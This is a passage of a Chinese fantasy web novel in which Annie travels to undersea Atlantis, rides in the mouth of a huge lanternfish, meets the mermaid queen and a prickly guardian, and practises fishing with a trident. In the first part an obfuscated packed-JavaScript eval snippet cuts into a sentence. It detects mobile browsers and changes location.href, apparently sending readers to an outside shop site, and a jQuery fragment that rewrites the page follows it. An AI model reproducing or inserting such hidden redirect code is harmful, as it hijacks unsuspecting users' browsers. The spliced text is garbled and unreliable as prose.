“照明的物体比格毛丝有,但是希望你不会被晃到眼睛。” “不会的,我准备好了,你拿出来吧。” 安妮微微遮住自己的双眼。 “那好吧……” 随着声音出现的还有明亮的光源。这光芒确实很刺眼,在伸手不见五指的海底明亮得像一个太阳。然而安妮只注意到,这比提伯斯的身体还大的圆球是从一条宽四五十米的裂缝里飘出来的…… 也不是飘,准确地说,这球是被一条黑色的粗线吊着的。缝隙打开,球就慢慢移了出来。那条裂缝很宽,也很大,内部是暗红色的,下端也很平滑。 安妮慢慢放下手,明亮的光芒把她所在的地方照得亮如白昼,即使不断往后退,也能看到光辉穿过头顶。 至于为什么往后退…… 因为只有后退几十米,她才能看清面前这个声音的主人…… 堪比小山的身型,两个漆黑大如山洞的鼻孔,上方是圆圆的眼白,内里滚动着漆黑幽深的眼球,还有零星分布的粗如麻绳的血丝。皮肤崎岖粗糙如同山路,青黑色,还有不少大大小小的斑点,大的像水潭,小的如拳头。 即使不断后退,视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119511|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线里装满了可怖的头,也仅能看到一点脊背上竖起的鱼鳍。 那个她一手无法环抱的光球,在此刻显得如此渺小。 “对不起,吓到你了……” 这是一条灯笼鱼,大到不可思议的灯笼鱼。他说话时眼皮耷拉着,嘴巴紧抿,声音似乎是从中心震动开来。 安妮呼吸都轻了,之前震惊到震颤的状态还没恢复,又一次失去了思考的能力。好在这次有了心理准备,她没有撒腿就跑——跑也跑不过。 “那个……你其实不丑的,只是太大了,看着吓人……” 安妮仔细看过了,这条灯笼鱼最可怕的獠牙居然一颗没长,她之前看到的下端的红色就是舌头。 这让她安心了不少。 除开体型,灯笼鱼能有他这样明亮的灯,以及不掺杂色的皮肤,已经很难得了。 “谢谢你,比格毛丝很高兴。” 灯笼鱼慢悠悠地说着,音调上扬了一点。 “没,没事……” 安妮仍旧有些胆怯,被这样的庞然大物盯着,她从天灵盖到脚后跟都是麻的。 她只能找点话说,试图找回自己的勇气。 “那个,为什么这里什么生物都没有,只有你在?” 不会都被吃了吧?安妮这么想着,警惕地摸了摸右手的传送印记。 “这里是前往亚特兰蒂斯的必经之路,也是传送口在的地方,除了比格毛丝基本不会有什么生物靠近的。” 难怪她被传送到了这里…… “那你知道怎么去亚特兰蒂斯吗?——放心,我没有恶意的,只是想在那里找点东西——不是传说中的宝藏!”安妮越说越解释不清,干脆全盘托出,“哎呀,我是来找水系本源的,水系本源不知道你清不清楚,就是……” “比格毛丝知道,‘梦想本源’,那是欧提特曾经收服到的!” “什么?” 安妮傻眼了。原本还以为要花费很多时间来解释,没想到比格毛丝比她还了解水系本源。至于他口中的欧提特,安妮就更感兴趣了——说不定还能从她身上得到点经验。 “前往亚特兰蒂斯还需要点路程,让比格毛丝带你一程吧,安妮。” 这是同意了?安妮大喜,就见比格毛丝张大了嘴巴。 “进来坐着吧,很快就能到的。” 进去?坐着? “你放心,比格毛丝的嘴巴一点也不臭的,穆迪还说有海藻香香的味道。” 比格毛丝的嘴巴就像四间凿通墙壁的空房子,舌头是红色的地毯。他一颗牙齿也没有,口腔内也是干净整洁的,安妮犹豫了一会儿还是游了进去。如果真的有什么埋伏,她可以第一时间传送。 比格毛丝将吊着的光球一起放进了嘴里,压在边缘的舌头下面,只透出一点灯光。不得不说他很贴心,赶路的时候也微张着嘴,让安妮能看到点海底的景色,不至于那么紧张。 一直游了十几分钟,安妮终于感觉视线亮堂了一点。 “我们到了,安妮,出来吧。” 比格毛丝的声音似乎来自肚子,总之安妮在他的嘴里听得很清楚。 比格毛丝张开嘴,把光球提出照明。安妮发现不远处是一些奇怪的建筑。 “比格毛丝只能送你到这里了,但是……啊,穆迪来了!” 比格毛丝有些惊喜地说。 向安妮游来的是一只看起来十分清冷的人鱼。 “比格毛丝,这是谁?” 穆迪皱眉,声音冰冷地问道。 她的眼睛下面还有几张鳞片,耳朵、手肘和膝盖边都有弧度诡异的鱼鳍。那双深邃的幽蓝眼眸此刻警惕地盯着安妮,尖而长的指甲垂在腰边,随时准备发动攻击。 安妮看见人鱼的青蓝色鱼尾,还是小小地震惊了一下,但显然比格毛丝已经锻炼出了她的心理承受能力。 “这是比格毛丝的新朋友——比格毛丝已经几百年没交过新朋友了。” 比格毛丝略带委屈地解释。 穆迪的眉眼柔和了一些,虽然比格毛丝十分巨大,但她直接亲昵地摸了摸他的光球:“我没有怪你的意思,只是亚特兰蒂斯已经近千年没来过人了,我怕你带来什么危险分子。” 这话是当着安妮的面说的,警告意味不言而喻。 安妮连忙解释,“很抱歉打扰了,但我不是什么危险分子,我只是想在这里暂住几个月,寻找‘梦想本源’——也就是水系本源。” “‘梦想本源’?”穆迪疑惑地重复,“欧提特收服过的本源?” 他们全都知道?看来欧提特真的不仅找到、感知到了“梦想本源”,还成功收服了。 “是的。每个人的本源都不一样,我也不确定我到底能不能同样收服‘梦想本源’,只要四个月之后不成功,我就会离开这里。” “那你是怎么进来的?” “额……传送阵,是基兰爷爷给我的。” “基兰是谁?” 她竟然不知道基兰?安妮愣住了,因为她还真不知道怎么给穆迪解释清楚。 见安妮震惊的神情不似作假,穆迪大概猜到亚特兰蒂斯与世隔绝的这千年里出了不少人才,基兰也许就是其中一个,而且是人尽皆知的一个。她也就不再为难安妮。 “既然你是来亚特兰蒂斯做客的,那首先应当去见一下我们的女王,到时候再考虑让不让你留下吧。”她说着转身,“跟上我,不要到处乱跑,不然我保证不了你的安全。” “好的,谢谢。”安妮感激道,回头还不忘嘱咐比格毛丝,“我很快就会出来找你的,你等等我。” “好,比格毛丝就在这里等着安妮。” 比格毛丝十分听话,就地降落,把光球再次放进嘴里。 穆迪看着乖乖的比格毛丝,瞳孔放大了一瞬,不过安妮没看到。能让可以看穿他人话语真假的比格毛丝这么友好,也难怪她可以安然无恙地来到这里。 44. 44 亚特兰蒂斯并不全由豪华的宫殿组成,事实上,这些看起来像高塔的建筑才是最多的。安妮猜测人鱼族游泳毫不费力,因此建筑再高也没事,反而看得远。 至于在地面时,外围建筑高也很安全。 “我们的女王名叫伊卡思,是人鱼族唯一的女王,已经有四千岁了。她很和善,所以你不用紧张,到了水晶宫,说清楚自己的来意就好。 欧提特是我们鲛人族的守护者,也是我们整个鲛人族的骄傲,她的脾气要暴躁一些,比较排外,但是为人很好,嘴硬心软,你如果想找她请教,最好得到女王的帮助。” 穆迪看起来虽然很高冷,但一路上也给安妮科普了不少亚特兰蒂斯的事,安妮默默听着,谨记于心。 亚特兰蒂斯是在千年前的诸神之战中沉入海底的,具体原因不明,只知道伊卡思带着自己的族人在这里隐居了一千年之久,与世隔绝。 亚特兰蒂斯不仅仅指有建筑的地方,还包括资源丰富的深蓝海域。人鱼族本身需求不大,人数也一直守恒,因此不需要和外界交流。 至于亚特兰蒂斯的宝藏在哪,这个传说是真是假等等,安妮没问,穆迪也没说。但是能够守护族人近千年安然无恙,丰衣足食,想来这个宝藏也是很厉害的,说不定伊卡思已经窥探到了些许。 安妮虽然猜测是神器,但并不想过多了解。 这是亚特兰蒂斯的人鱼族们用自由守护的秘密。 最让安妮不解的,大概是为什么穆迪要称呼自己的族群为“鲛人族”。 她不知道这个问题该不该问。 “到了,这个时候女王应该正在午休,我去叫人通报,你跟着侍卫等候。” 穆迪说完开始朝下游。 穆迪选择的是建筑上方的道路,遇到的人鱼很少——似乎是有特殊规定,街道上空没有看起来闲散的人鱼。 安妮跟着她降落,看见了前方深蓝色的水晶宫殿。 本来这近海蓝的颜色应该被海水淹没的,但水晶的剔透、璀璨的荧光,把整座宫殿装点得十分耀眼。 越靠近,越能感觉到水晶宫的宏伟,正中的宫殿是古典庄严的设计,半椭圆的三个拱门上散发着沉木的幽香。墙壁上暗纹繁复神秘,每一层都有人鱼把守。两边似乎是瞭望塔,四个方向各有一个人鱼,顶端插着的旗帜在海水中飘荡。 水晶宫的材质并不透明,但看起来十分纯净,至于其中的点点蓝光,则来自那些或镶或嵌或卧在墙壁、灯座上的夜明珠。安妮找不到一点裂缝,海水浸泡千年,只是将它们荡涤得更加晶莹。 穆迪似乎和看守很熟,讲了几句,安妮就被接手了。这一次带路的是一只有着青绿鱼尾的短发人鱼,他看起来十分健壮,但手里的武器还是最古老的三叉戟。 安妮随着人鱼走进宫殿内部。水晶宫的构造很巧妙,她不清楚,也不敢多看,尽管如此,透亮反光的地板仍旧将她局促的模样映照得一清二楚。 “坐下吧,你就在偏殿等。” 侍卫说完,也不离开,笔直地站在安妮旁边。 安妮只能攥着衣角默数时间,毕竟人家都是站着的,她好歹还有椅子。 偏殿并不大,但是装饰齐全,唯一让人惊叹的就是能用水晶的还是用水晶,包括她现在所坐的椅子也是水晶打造的。 之前她还有所怀疑,毕竟要是全用水晶,这宫殿都不知道价值多少,但事实证明贫穷限制了她的想象。 这样的材质,这样的透光度,这样的抗腐蚀能力,只可能是海晶——十分稀有的深海水晶。 安妮还在掰着手指计算这座宫殿到底能标多少钱,忽然看见门口走来两个侍卫。 看来她还没算出来后面有几个零,女王已经睡醒了。 安妮整理好自己的衣服,昂首挺胸,跟着侍卫走出偏殿。她这样做也是被逼的,毕竟……正殿的压迫感太强了。 一眼望不到边的宫殿,地板是一片精美的雪花延伸开来。头顶的海晶灯距离将近百米,但悠悠蓝光仍旧和墙壁地板镶嵌的夜明珠交相辉映着。 再环顾四周,几乎如同置身一个冰蓝的空间。宫殿两边还有四根圆柱,每一根上都雕刻着冰蓝的凤凰,盘旋而上,展翅欲飞。面朝前方时,又能看到层层台阶上的王座。 这座椅仅容一人躺下,背后是半片巨大的雪花,如同盛放的冰晶。旁边的立柱上还悬浮着两颗剔透的光球。 而此刻,上面坐着一个人鱼。 纯白的长发,头戴一顶水晶王冠,吊坠流苏很多,但丝毫没有晃动。上衣很贴身,绸缎如水般顺滑,喇叭袖口在水波下绽放,碎钻闪烁着光芒。往下是一条大而华美的湛蓝鱼尾,鳞片在水晶宫的光芒下熠熠生辉,尾巴侧面还有飘荡着的透明鱼鳍。 “你好,外来者。” 伊卡思的声音很温柔,在水晶宫内回荡着,也没有任何攻击性。 “你好……” “我叫伊卡思,你直呼名讳就可以了。” 直呼名讳?安妮有些惊讶。这四个字要是不说就做,那绝对是比较无礼的行为,但伊卡思直接自己提出来了。 这位女王真的很和善。 “亚特兰蒂斯隐居千年,早已没有什么森严的等级限制了,女王不过是他们封的。” 伊卡思的声音很平静,手上的水晶权杖看起来华美高贵。安妮觉得那些人封得也不过分。 “当然了,在其位谋其政,他们尊称我一声女王,我自然也要负担起守护亚特兰蒂斯的责任。如果可以的话,你能每天来说说如今外面的世界是什么模样吗?” 这是同意她在这里暂住了?安妮没想到事情会这么顺利。 “其实,我现在就可以说的。” “那当然更好——不知道你如何称呼?” “安妮,我叫安妮。” “安妮?‘光明’的意思……” 伊卡思咀嚼了一下安妮的名字,后面的默念也在水晶宫里显得很清晰。 安妮有些尴尬:“是的。” 她所做的事情实在和“光明”沾不上边,却带着这个名字生活着。之前还觉得没什么,此刻面对伊卡思,总有种欺骗了她的愧疚感。 毕竟她真的太美、太纯洁。 “很高兴认识你,安妮。”伊卡思轻抬权杖,点了点地面,安妮身后的地板凸起,很快形成了一张水晶椅子,“请坐。” “谢谢……” 安妮局促地坐下,开始搜寻记忆。 她很想说点对伊卡思有用的消息,但想来经过了近千年的变迁,她说什么都会是不一样的。既然如此,那就从世界格局讲起吧。 “现在源大陆以恕瑞玛沙漠为中心,但是那里空无一人。 恕瑞玛沙漠正东边有着圣城和路西瑞城,是最繁华的两座城市。具体而言,路西瑞城经济很发达,但光明学院建在了圣城,因此路西瑞城和圣城应该算两个不同的中心。 再往东是无妄边境包围的无妄森林。 恕瑞玛沙漠西南方首先生长着灾难丛林,那里的植物并不依靠水源生存,而且有很多残余的魔兽盘踞,时刻威胁着南边的约德尔城。 约德尔城西边的斩月山阻碍了皇城与它的联系,皇城中以莫格莱斯为首的皇子和以埃克斯为首的叛军在英雄峡谷交战。 灾难丛林西边是吞噬之海,吞噬之海的北岸存在暗影群岛,据说是武器大师麦尔特隐居的地方。再往北有什么就不得而知了。 不过恕瑞玛沙漠的北方是暴风平原和奇迹平原,还有一些游牧民族。南方则是面积广阔的极寒冰原。 除此之外,还有一些地方存在各种小的城镇、山村。艾德文特是顶级探险家,目前的地图就是他探索出来的,他还探出恕瑞玛沙漠存在神迹。 另外,一直往奇迹平原北边走无法到达边境,但可以找到基兰大师。基兰大师是能够创造奇迹的隐居者——我就是依靠他来到这里寻找本源的。” “看来源大陆的地域变化不大,也许是面积上的增减较多吧。” “啊,是吗?” 安妮有些好奇。 “过去的灾难丛林可是面积广大、资源丰富的地区,要侵袭一个城镇简直轻而易举,这个约德尔城如果面对的是千年前的灾难丛林,恐怕顷刻间便会化为废墟。” “天呐……现在的灾难丛林很小的,还没有无妄森林大。” “看来是了,这些地区的景观都没什么变化,你虽然说了很多我不知道的名字,但大致是哪里我还是能想象到的。” 伊卡思再次轻敲权杖,一张地图呈现在安妮面前。她观察了一下,灾难丛林虽然被修改了,但别的地方面积仍然有一些不同。 恕瑞玛沙漠小了好多,无妄边境缩减了一圈,吞噬之海反而扩大了,唯一不变的就是极寒冰原。 “这里要缩小……这里扩大,这里……已经没了吧?我记得这里多了些城镇。” 安妮指了指地图上出错的地方,伊卡思根据她的描述修正,很快得到了一份简陋但比较精准的地图。 “非常感谢。” 伊卡思把地图挥散,安妮也不知道她想不想留下这些信息。 不过反正在这里隐居,其他人鱼知不知道也不重要吧。 “女王陛下,我来找你玩啦!” 水晶宫外,一个清脆的声音响起。 伊卡思对于这么热情洋溢的话只是无奈地摇头笑笑,颇有种宠溺的味道:“看来是我们的勇士来了,原谅她有点没大没小的。” 安妮早就很好奇欧提特是什么样子了,此刻同样含着笑,眼神不住地往外看。 逆光处走来一个……蓝色的小鱼人。 圆脑袋,大眼睛,嘴唇很厚。三双和兔子一样的耳朵垂在肩膀上,尾端尖尖的。最特别的是她的四肢,都还带着没有完全退化的鳍,手掌也和鸭掌一样。 她拿着一根海神三叉戟,长长的武器比她还高上半个头,手指一转,锋利的寒芒在水晶宫里闪烁。 那武器不偏不倚,正横在安妮面前。 “外来者?” 欧提特的这个称呼可和伊卡思不一样,安妮几乎能听出她语气中的冰渣。 “你好……” 这好像就不用伸手了吧?千年前应该没有握手礼。 果然,欧提特也没有问好的意思。 “这是欧提特,我们鲛人族的守护者。欧提特,她叫安妮。” 伊卡思真的很和善,甚至还在帮她介绍。 可惜欧提特还是瘪着嘴:“安妮?——你来这里做什么?” “寻找本源。” “本源?‘梦想本源’?” 安妮点了点头。她知道欧提特已经成功收服了“梦想本源”,只希望这个排外的小鱼人就算不愿意给经验,也不会阻挠自己。 “你知道你的梦想是什么吗?” “这个……” “支支吾吾的,连自己的梦想都不敢正大光明地说出来,你还想收服‘梦想本源’?” 欧提特的语气充满不屑,安妮有些尴尬。 这次倒不是她不自信,而是她有些心虚。万一欧提特觉得她的梦想太容易招来祸端,直接把她踢了怎么办…… 她可是梦想对抗天道。 “好了,欧提特,安妮只是来做客而已,不会影响什么的。” “变化会带来灾难!”欧提特瞪着安妮,“不管你的梦想是什么,总之,你最好老实一点,不然我的三叉戟是不会放过你的。” “我保证!” 安妮做发誓状——也不知道欧提特看不看得懂。 “那个……可以问一下,你是在哪里感知和收服到‘梦想本源’的吗?” “你很好奇?” “借鉴借鉴!” 她不熟悉深海,胡乱找下去比在森林里乱逛还无用。 欧提特看了眼伊卡思,得到她鼓励的眼神后,带头走向门口:“跟上,我带你去个地方。” 安妮立刻跟紧。 一路上,人鱼越来越少,环境却越来越美丽。发光的植物逐渐变多,最后覆盖了青黑的地面。周围再也没有高大的建筑,一望无际的深海却格外明亮,到处都是莹蓝色小点。 好美…… 完全不同于安妮初来乍到时被困原地的漆黑一片。 又走了很久,安妮渐渐看到了不一样的东西。地面上突起许多反光的石头, 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“没错,就是我。”欧提特有些许骄傲,微弯唇角,“所以,我是天生的守护者。我的使命是守护亚特兰蒂斯,我的梦想,也是守护亚特兰蒂斯——永不改变。” “你不是要问我在哪里找到的‘梦想本源’吗?就是这里。时间我也可以告诉你,就在我成年的那天。” “成年?” “是的,每个种族对‘成年’的定义不一样,而我的‘成年’,是在出生的百年后。——你还没成年么?” “额,成年了吧……” 她在二十岁那天,应该是会有一个“成人礼”宣告成年的,可惜那个时候似乎根本没在意。不过他们对于成年本身就不重视,要不是金克丝还给自己过生日,安妮都不觉得这种记录年岁的东西有必要。 欧提特显然不这么认为,她有点严肃,皱眉道:“你怎么能不重视‘成年’呢?‘成年’后需要为自己的行为负责,所立下的誓不罢休的目标才会成为梦想,也才真正意味着你成为这个世界的一部分。” “啊?‘成年’这么重要吗?” 安妮被欧提特煞有介事的态度吓到了。 “也许你们不重视,但我觉得必须重视。也许这就是亚特兰蒂斯和你们脱节的地方吧,我们还在维持许多古老的传统。”欧提特大大方方承认,“但是我并不认为我们应该丢掉这些传统。每一个鲛人的诞生都会得到‘祝福礼’,成年了会有‘成人礼’,还有很多节日,对我们而言都是很有意义的。” 见欧提特侃侃而谈,安妮有些放松:看来她也没有想象中那么不近人情嘛。 只是…… “怎么了?有话就说,趁我现在还愿意解释。” “那希望你不要介意。”安妮犹豫地问,“为什么你们都自称是鲛人?之前穆迪也一直说‘鲛人族’……” 她的记忆里,鲛人和人鱼完全是两个概念,甚至因为血统差距巨大,人鱼根本看不起鲛人。亚特兰蒂斯存在人鱼族,吞噬之海存在鲛人族,人鱼善良美好,鲛人嗜血狡诈……这是众所周知的。 谁知欧提特还是眉头一皱,嘴唇紧抿,又恢复了之前拒人千里的模样。 安妮心道不妙。 果然,小鱼人沉默了一会儿,直接往前走了。 “你不需要知道原因,这对你来说不是好事。没有别的疑问……对了,这个给你。”她拿出一颗珍珠,似乎是刚刚弯腰在雕像周围的花里捡的,“行了,拿着东西走人吧,吃了这个今后一个月你都不用进食了。” 是类似灵果的食物…… 安妮不疑有他,一口吞下珍珠。 “早知道往里边放点毒药,把你抛尸荒野算了。”欧提特小声嘀咕着,和安妮擦肩而过,“跟上,我带你抄近路离开。” 看来她是真的问到雷区了……安妮乖乖跟上,不敢再说话。 她就是来这里暂住的,无论问题的答案是什么,她都不打算继续询问了。 一路无话,沉默良久后,安妮看到了熟悉的庞然大物。 比格毛丝。 无论再看几次,还是会被他的体型所震撼。但安妮还是壮着胆子跟在欧提特后面。 比格毛丝很惊喜,摇着尾巴上前。安妮不着痕迹地往后退了退,就见欧提特三两步游到比格毛丝面前,伸出了手。 比格毛丝乖顺地拎出那盏小圆灯给欧提特抚摸。 “又无聊了吗?今天还带个人回来。” 欧提特的语气充满抱怨,但没有一点尖刺。比格毛丝憨厚地笑了笑。 “欧提特没有生气,对吗?比格毛丝能感觉到。” “谁说我没生气了?我只是没那么气而已……还是有很多的,这么多……” 欧提特竭力分开大拇指和食指,可惜她的手指之间还有鱼鳍连接。 看见欧提特堪称幼稚的行为,安妮有些惊讶。 “你带她出去转一转吧,别那么早回来。” “比格毛丝记住了,一定好好照顾安妮。” “没叫你照顾她,不缺胳膊少腿儿就行了!” 欧提特还在狡辩,但好像一遇到比格毛丝她就会变得更憨厚真诚,所有谎言都像竖着尖刺却露出肚子的刺猬。 见安妮一眨不眨地盯着她俩互动,欧提特有些尴尬。 “比格毛丝很单纯,不容易理解我们的话,和他交流要直接一点。”她不知道是在解释还是嘱咐:“我得到‘梦想本源’的方法你是借鉴不了的,这段时间自己在深海里安安静静思考,自己到底想要什么。” “好,谢谢。” 安妮真诚地道谢。 “我只是想让你离我远点罢了!” 欧提特说完,转身往回走。 知道自己的方法不行,就主动帮她寻找其他方法,还让比格毛丝帮忙……安妮觉得,有那么一瞬间,她好像看到阿若盖特在傲娇又别扭地关心自己。 都是刀子嘴豆腐心。 安妮情不自禁地笑了笑,突然感觉巨大的比格毛丝也没有那么可怕了。 善良的模样总是千变万化的。 45. 45 “安妮,进来吧,比格毛丝会带你在海底好好转一转的。” 比格毛丝张开嘴,安妮游进去,他又把灯拎到舌头下面压着。 “安妮,你见到女王陛下了吗?” 比格毛丝问。 “见到了,怎么了?” “没什么,只是比格毛丝很想她。” 比格毛丝的语气总是深沉憨厚的,安妮听多了,甚至尝出了其中孤独的可怜意味。 “你们多久没见了?为什么你不去看看她呢?” 比格毛丝不就在亚特兰蒂斯吗? “比格毛丝太大了,去水晶宫会很麻烦。” 安妮计算了一下,水晶宫虽然很大,但是要让比格毛丝通过宫殿大门还是很困难。更遑论不少人鱼说不定也很害怕,比格毛丝飞在上空,还会遮住阳光…… “比格毛丝只有晚上才能去找女王陛下,但是上一次见她……比格毛丝忘记了。” 那也太久了!看来比格毛丝真的是形单影只的。 安妮坐在柔软的舌头上,沉默着。 比格毛丝察觉到了她的纠结。 “安妮想问什么?比格毛丝只要知道,都会告诉你的。” 其实想问的挺多的,但是万一她不小心又问到什么不好的领域,比格毛丝不会一怒之下把她吞了吧? 安妮打了个寒战,在心里反复咀嚼措辞。 “安妮别害怕,比格毛丝不会生气的。比格毛丝是善良的化身。” 虽然话很中二,但比格毛丝十分真诚。他笃定的态度让安妮松了口气,觉得应该没什么影响,安妮才试探着问:“我有些好奇,为什么你说话的时候不用舌头。” 她都观察好久了,比格毛丝说话的时候,嘴巴可以一动不动,舌头也是。而且,他的声音总是悠远深沉,好像来自海底。之前她听声辨位失败,才硬生生被比格毛丝吓了一跳。 “这很难解释,安妮真的想知道吗?” “想!” 看来不是不能说,那就可以了。 “因为比格毛丝没有实体,所有的能源都来自身体中心的‘灵’。比格毛丝也不知道那是什么东西,总之,女王陛下说那是善良的人鱼们留下的,比格毛丝要保存好。” “没有实体?” 那她坐着的是什么? 不过也是,要维持这么庞大的身体运转,肯定需要很多能量供应。海底资源丰富,但比格毛丝肉都不吃,作为灵体存在才合理。 至于“善良的化身”,看来是她误会了:比格毛丝不是自夸。 “安妮也很好奇吧,为什么那么美丽的人鱼会创造出比格毛丝这种丑东西。” 比格毛丝平淡的语气让安妮心中一紧。 “不是的,我只是觉得这些人鱼真伟大。他们创造你,一定是希望你能继承他们的意志,完成他们未完的使命吧。” “可是比格毛丝不知道什么是使命,也没有完成什么使命。” “谁说的,你不是一直在亚特兰蒂斯周围,依赖着它吗?是你让那些死去的人鱼也可以留在自己的故土——这就是你的使命。” “是吗?没想到比格毛丝原来还有使命。” 比格毛丝开心了起来。 安妮大概想通了为什么比格毛丝不爱说“我”,总是强调名字,因为这个名字不仅属于他,还属于千千万万留恋亚特兰蒂斯的人鱼。 “安妮,谢谢你。” 比格毛丝道谢起来更加真诚了,安妮不好意思地攥紧衣角。 “没什么,我只是说了女王陛下早就看出来的事情而已。” “但是只有你愿意坐在比格毛丝的嘴巴里,和比格毛丝说这些。穆迪总是匆匆忙忙地离开,欧提特也有很多事情要做。” “她们都很忙……” 她去水晶宫的路上,看到的人不多,连门口的护卫都很少。再结合欧提特把她带去雕像的那段堪称荒无人烟的路,安妮隐约觉得人鱼族似乎人丁太单薄了点。 每个人都忙碌着,但庞大的亚特兰蒂斯看起来却很冷清——不是蓝色调带来的冷清。 安妮不敢深想,为什么他们要自称“鲛人族”,而且对生命的诞生和成长如此重视。 “安妮,我们到了。” “哦,好。” 安妮游出去,比格毛丝的灯也恰到好处地拿了出来。她终于看到了久违的动物,虽然全都是奇怪的轮廓,但好歹整幅画面有了生机。 亚特兰蒂斯只有人鱼。 “这就是比格毛丝休息的地方,比格毛丝喜欢待在这里。也许安妮能在比格毛丝的坑里得到灵感。” 安妮看向脚下,果然是一个深坑。沙土平整,上面空无一物,很像一个小狗的窝,只是大了十倍不止。 安妮游到边缘。 “你躺下吧,我就在旁边。” “那好吧,安妮小心一点。” 小心别被压扁,她知道——她比谁都谨慎。 比格毛丝落座得很轻缓,但安妮还是看见了松动飘荡的沙土。微弱的黄色灯光并不刺眼,甚至有些昏暗,安妮才发现比格毛丝把那个小灯笼也埋进了沙子。 “女王陛下说比格毛丝的灯很亮,容易打扰到其他人。” 所以就学会把灯笼藏起来了吗? 她真是每时每刻都会被眼前的大块头暖到。 “安妮,欧提特告诉你怎么收服‘梦想本源’了吗?” “说了,也没完全说。总之,她叫我在外面先思考思考自己的梦想是什么。” 安妮觉得没有思考的必要,她不是不知道,她只是不想说而已。 起码……不想告诉欧提特。尽管她面冷心热,但安妮总觉得说出来容易惹麻烦。 “那安妮有梦想吗?” “有啊,而且我知道怎么完成我的梦想。” “那安妮你一定可以得到‘梦想本源’的,欧提特就是这样。” 是的,欧提特的梦想是守护亚特兰蒂斯,这是她永不改变的追求。她是那样坚定、忠诚,以至于安妮不敢表露半分自己梦想对亚特兰蒂斯的威胁。 她甚至觉得这样的自己有点卑劣。 “比格毛丝,你……”算了,他连使命都不清楚,应该不会有梦想的。 “比格毛丝的梦想是永远和亚特兰蒂斯生活在一起。” 他知道我要问什么? 安妮噎住了。 “比格毛丝能感知到周围人的情绪,就像女王陛下知道外来者究竟有没有恶意一样。” 原来伊卡思女王还有这个能力?那是不是代表她的善意被认可了?——难怪欧提特没那么生气。 “安妮现在很开心,比格毛丝感觉到了。” “是的,我很开心。” 虽然这个能力有点侵犯隐私的感觉,但是安妮觉得,这样真诚的比格毛丝就算能看透他人的想法,也没有关系。 他本身就是最坦诚的。 沉默在蔓延,但是这一次没有人再引出话题。比格毛丝似乎有些累了,一动不动地闭上了眼睛。安妮睡不着,她观察着周围的环境,新奇的感觉还没有散去。 虽然因为避水咒的存在,坐在海底和待在陆地的感觉一般无二,但这里的黑暗、深蓝带来的沉寂是喧闹的空气中没有的。 安静到只剩自己的呼吸。 安妮摸了摸身下的泥沙,冰冰凉凉的,但触感不明显。 她其实不太明白为什么水系本源会是“梦想本源”,毕竟“梦想是蔚蓝色”只是光明学院图书馆里的作文书爱引用的句子。 如果安静的环境可以帮她感知到什么,希望之森早就做到了。 安妮还是有些害怕的,她不敢背对着比格毛丝,面对面坐着看他睡觉又很奇怪,她就只能和比格毛丝并排,保证自己的位置能被看到,也能轻易看到他的动作。 倒不是提防,只是本能。 就像感知到“生命本源”的时候一样,本能地无法亲和,所以在接近的那一瞬间就明白了,收服是不可能的。 不过还是要感谢那株蒲公英,在她即将告别的晚上带她体验了一次“生命”。 安妮正陷入各种难忘的回忆中,忽然感觉前方的珊瑚后面有什么东西动了动。 她警惕地眯眼,放低呼吸,不动声色地靠近。在海里活动了这么久,她已经有了一些心得:在水里,悄无声息地移动很简单,但不引起太大的水波才是重点。 安妮移动得非常缓慢,每次对准那个异样的地方前进几厘米就停下,试图看清全貌。 忽然,一条触手从珊瑚底下刺出,直直冲向她的眼睛! 安妮立刻急速往后退,忽然反应过来……自己怎么不往上游! 在远处俯视就行了,靠近干什么……真是安逸久了命都不要了!安妮在心里唾弃自己的智商,但还是迅速做出弥补。 大章鱼似乎也仅仅是一个警告,见安妮识相地后退老远,又慢悠悠收回触手。 安妮才看清珊瑚后面堆着许多石块,石块上覆盖着蠕动的软肉。 “安妮,你没事吧?” 看来是刚刚后撤的动作太大,惊扰了比格毛丝。 安妮摇了摇头,忽然感觉那只巨大的触手也没有很可怕,起码在比格毛丝的对比之下,这章鱼跟蚂蚁似的。 “这只章鱼受伤了,在这里休息,她不会主动伤害你的。” “你怎么知道?” “比格毛丝也是偶然发现的。” 安妮点了点头,忽然想到了什么。 “比格毛丝,你知道哪里有做武器的材料吗?我想去抓点鱼。” “欧提特没有给安妮灵珠吗?” “是那个可以维持一个月能量的食物吗?给了,但是我还想做点别的。” “比格毛丝就有,希望你不要嫌弃。” 比格毛丝说完,从嘴里吐出一把三叉戟。这把三叉戟看起来很新,虽然没有欧提特手中的那么锋利,还存在阵纹,但安妮拿着还挺顺手。 她挥舞了一下,做出各种姿势,以便适应新武器的特性。 “安妮的动作真潇洒。” “那是没有阻力罢了。” 或者说阻力很小。 基兰爷爷的避水咒真的很管用,她在海里活动,就和走在陆地上却会飞了一样。手上的三叉戟拿着有点沉,却也算得心应手。 可惜,安妮还是不满意。她一直记得金克丝当初的碎碎念,不断寻找适合自己的武器,但是刀剑、枪炮,乃至各种暗器她都尝试过了,都没用。 至于法杖那种只能用来敲人的棍子,没有灵力的她就更不可能使用了。 “我知道哪里有鱼,安妮想抓多大的?” “都看看吧,我练练手。” 刚刚被章鱼吓了一跳,安妮才反应过来,在水里和在陆地上的打斗思维终究是不一样的,好多借力腾空、需要支点的动作都是多余的。她不确定以后会不会在水底作战,但有这个机会,练一练总是有益的。 最主要的是,她一直以来都坚信实战出真知,在希望之森荒废了这么久,再不打架都要手生了。 比格毛丝找了一个鱼多的地方。安妮也发现了,离亚特兰蒂斯越远,动物越多,光亮越少。多亏有比格毛丝的探照灯,不然她压根看不清海底的情况。 安妮首先找了看起来体型最小的鱼。但尽管如此,她要抓到也很吃力。小的动物也有自己的一套保命措施,急速逃跑,花纹隐藏,把安妮耍得团团转。 最让安妮意外的是这狡猾的小鱼还会祸水东引,绕过珊瑚卡视野逃跑,她跟过去差点和珊瑚后面埋伏的章鱼撞个正着。 大鱼就直接很多了,安妮一般都会先选择外表看起来没那么凶残的,但皮肤上的毒液,以及巨大的力量仍旧让她疲于应对。 像那种全身漆黑布满尖刺,或者嘴如长剑花纹遍布的,她就更不敢招惹了。 